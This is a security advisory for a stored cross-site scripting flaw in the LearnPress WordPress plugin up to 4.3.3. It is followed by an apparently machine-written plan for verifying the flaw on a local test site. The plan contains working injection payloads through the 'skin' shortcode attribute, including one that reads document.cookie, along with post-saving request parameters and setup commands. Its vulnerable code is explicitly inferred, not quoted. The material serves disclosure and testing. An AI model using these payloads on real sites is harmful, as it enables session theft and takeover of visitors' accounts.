LearnPress <= 4.3.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'skin' Shortcode Attribute
Description
The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'skin' attribute of the learn_press_courses shortcode in all versions up to and including 4.3.3. This is due to insufficient input sanitization and output escaping on the 'skin' shortcode attribute. The attribute value is used directly in an sprintf() call that generates HTML (class attribute and data-layout attribute) without any esc_attr() escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v4.3.4
Source Code
WordPress.org SVNThis research plan outlines the steps to verify a Stored Cross-Site Scripting (XSS) vulnerability in the LearnPress plugin via the `skin` attribute of the `learn_press_courses` shortcode. ### 1. Vulnerability Summary The `learn_press_courses` shortcode in LearnPress <= 4.3.3 processes a `skin` attr…
Show full research plan
This research plan outlines the steps to verify a Stored Cross-Site Scripting (XSS) vulnerability in the LearnPress plugin via the skin attribute of the learn_press_courses shortcode.
1. Vulnerability Summary
The learn_press_courses shortcode in LearnPress <= 4.3.3 processes a skin attribute that is used to define the visual layout of the courses list. The plugin fails to sanitize or escape this attribute before including it in an sprintf() call that constructs the container HTML. Specifically, the value is injected into the class and data-layout attributes of a div element. Because shortcodes can be used by any user with edit_posts capability (Contributor level and above), an attacker can inject malicious HTML/JavaScript that will execute in the context of any user viewing the page.
2. Attack Vector Analysis
- Shortcode:
[learn_press_courses] - Vulnerable Attribute:
skin - Authentication Level: Contributor or higher.
- Storage Mechanism: Post/Page content (WP Database).
- Execution Point: Frontend rendering of the post/page containing the shortcode.
- Sink: An
sprintf()call likely within the shortcode's rendering class or template.
3. Code Flow (Inferred)
Since the provided source files are only CSS, the following flow is inferred based on LearnPress 4.x architecture and the vulnerability description:
- Entry Point: A user with Contributor+ privileges saves a post containing:
[learn_press_courses skin='"><script>alert(document.domain)</script>']. - Shortcode Registration: The plugin registers the shortcode (likely in
inc/class-lp-shortcodes.php) usingadd_shortcode( 'learn_press_courses', ... ). - Shortcode Processing: When the post is viewed, WordPress calls the shortcode handler (likely
LP_Shortcode_Courses::render()or similar ininc/shortcodes/class-lp-shortcode-courses.php). - Attribute Extraction: The
$attsarray is parsed. Theskinattribute is extracted without sanitization (nosanitize_text_fieldorpreg_replace). - Vulnerable Sink: The code uses
sprintf()to generate HTML:// Inferred vulnerable logic $skin = $atts['skin'] ?? 'default'; $html = sprintf( '<div class="lp-courses %s" data-layout="%s">', $skin, $skin ); echo $html; - Output: The unescaped
skinvalue breaks out of theclassattribute, injecting a new tag into the DOM.
4. Nonce Acquisition Strategy
This vulnerability involves Stored XSS within a shortcode. Nonces are generally not required to trigger the XSS during page viewing. However, a nonce is required to save the post as a Contributor.
- Action for saving post:
editpost - Nonce variable:
_wpnonce - Acquisition:
- Login as a Contributor.
- Navigate to the Post Editor (
wp-admin/post-new.php). - Extract the nonce from the
#_wpnoncehidden input field or thewp-adminheartbeats. - Alternatively, use WP-CLI to create the post directly, which bypasses the need for manual nonce handling during the "storage" phase.
5. Exploitation Strategy
The goal is to store a payload that executes when an administrator views the post.
Step 1: Authenticate as Contributor
Login to the WordPress instance with contributor-level credentials.
Step 2: Create a Post with the Malicious Shortcode
Use the http_request tool to simulate saving a post.
- URL:
http://localhost:8080/wp-admin/post.php(for existing post) orpost-new.php - Method:
POST - Parameters:
action:editpostpost_ID: (The ID of the post being edited)post_content:[learn_press_courses skin='"><script>alert("XSS")</script>']_wpnonce: (Acquired from the editor page)post_status:publish(orpendingif contributor)
Note: It is more efficient to use WP-CLI to create the data if the environment allows it.
Step 3: Access the Post
As an administrator (or any user), navigate to the URL of the created post.
Step 4: Verify Execution
The browser should execute alert("XSS").
6. Test Data Setup
- User: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Course Content: LearnPress shortcodes often require at least one course to exist to render the container.
wp post create --post_type=lp_course --post_title="Test Course" --post_status=publish
7. Expected Results
The HTML source code of the rendered page should contain:
<div class="lp-courses "><script>alert("XSS")</script>" data-layout=""><script>alert("XSS")</script>">
The browser will parse the "><script>... part, resulting in the script executing immediately.
8. Verification Steps
After the http_request is sent, verify the content via WP-CLI:
# Check if the shortcode was stored correctly
wp post get [POST_ID] --field=post_content
# Check the frontend output
curl -s http://localhost:8080/?p=[POST_ID] | grep -C 5 "alert(\"XSS\")"
9. Alternative Approaches
If the sprintf is used inside a JSON-localized variable rather than direct HTML:
- Payload:
skin='test"}]};alert(1);/*' - Reasoning: This would attempt to break out of a JSON structure in a script tag if the
skinattribute was passed towp_localize_scriptimproperly.
If the shortcode requires courses to be present to execute the vulnerable line:
- Ensure at least one published course exists.
- Add
limit='1'to the shortcode to ensure processing occurs quickly. - Payload:
[learn_press_courses skin='"><img src=x onerror=alert(document.cookie)>' limit='1'](usingimgtag as a fallback forscriptfilters).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.